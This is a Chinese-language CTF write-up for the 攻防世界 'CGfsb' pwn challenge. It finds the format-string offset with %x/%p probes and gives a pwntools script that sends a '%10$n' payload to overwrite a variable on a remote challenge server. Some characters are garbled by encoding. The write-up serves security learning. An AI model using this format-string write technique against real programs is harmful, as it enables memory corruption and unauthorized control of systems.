CTF(pwn)-格式化字符串漏洞讲解(二) --攻防世界CGfsb
格式化字符串漏洞介紹:
https://blog.csdn.net/weixin_45556441/article/details/114080930
一.分析
pwnme的地址為 0x804A068
思路: 利用格式化字符串漏洞來使 pwnme的值為8;
二.做題過程
首先,我們得查一下我們輸入進(jìn)去的數(shù)據(jù)在棧中偏移了多少,知道偏移量后我們才能將其對(duì)應(yīng)起來
輸入 AAAA,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
或者 AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
可以得出,偏移量為10;
注:A轉(zhuǎn)化為16進(jìn)制是0x41
三.解題腳本
from pwn import * p = remote('111.200.241.244', '52927') p.recvuntil("please tell me your name") p.send('小明') p.recvuntil("leave your message please") payload=p32(0x0804a068)+"aaaa%10$n" p.send(payload) p.interactive()四. payload 詳解:
p32(0x0804a068)是pwnme的地址;
"aaaa%10$n":
aaaa是因?yàn)?這里四個(gè)a的作用是填充字符數(shù),因?yàn)閜32函數(shù)將pwnme地址轉(zhuǎn)化成四個(gè)字節(jié)的小端序字符,我們希望寫入pwnme的數(shù)字是8,因此再填充4個(gè)任意字符。
舉個(gè)其他的例子🌰: %85c%7$n,作用是將85寫入棧內(nèi)第7個(gè)參數(shù)所指向的地址。
10 是指10個(gè)偏移量
$ 是偏移符號(hào)
%n -打印到目前為止所寫的字符數(shù)
總結(jié)
以上是生活随笔為你收集整理的CTF(pwn)-格式化字符串漏洞讲解(二) --攻防世界CGfsb的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CTF(pwn)-格式化字符串漏洞讲解(
- 下一篇: 攻防世界(Pwn) forgot---栈